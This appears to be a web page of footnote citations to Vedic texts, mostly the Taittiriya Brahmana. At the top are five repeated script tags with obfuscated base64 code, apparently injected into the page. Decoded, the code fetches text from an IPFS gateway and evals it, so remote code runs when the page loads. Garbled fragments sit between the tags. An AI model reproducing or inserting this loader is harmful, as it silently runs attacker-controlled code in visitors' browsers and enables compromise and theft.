<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] 3.10-12

[2] rapathak 1, anuvakanukramani 6

[3] rahmanakar 2.3.6.4

[4] rapathak 1

[5] taittiriy-brahman 2.1.2.5-6

[6] taittiriy-brahman 2.1.6

[7] taittiriy-brahman 2.1.5.10

[8] taittiriy-brahman 1.5.3.3

[9] taittiriy-brahman 1.5.4.1

[10] taittiriy-brahman 1.3.6.2

[11] taittiriy-brahman 1.3.6.2

[12] taittiriy-brahman 2.5.5.1

[13] taittiriy-brahman 2.5.5.1

[14] taittiriy-brahman 3.10.11.3

[15] taittiriy-brahman 3.10.9

[16] taittiriy-brahman 2.2.9.10

[17] taittiriy-brahman 2.2.9.10

[18] taittiriy-brahman 1.5.5.1

[19] taittiriy-brahman 1.5.9.4

[20] taittiriy-brahman 1.5.9.5

[21] taittiriy-brahman 11.5.5.4

[22] taittiriy-brahman 3.7.7.4

[23] taittiriy-brahman 1.2.1

[24] taittiriy-brahman 3.12.3.1

[25] taittiriy-brahman 3.12.3.2

[26] taittiriy-brahman 2.4.6.8

[27] taittiriy-brahman 3.7.7.11

[28] taittiriy-brahman 3.7.7.11

[29] taittiriy-brahman 2.2.6.2

[30] taittiriy-brahman 3.12.3.4

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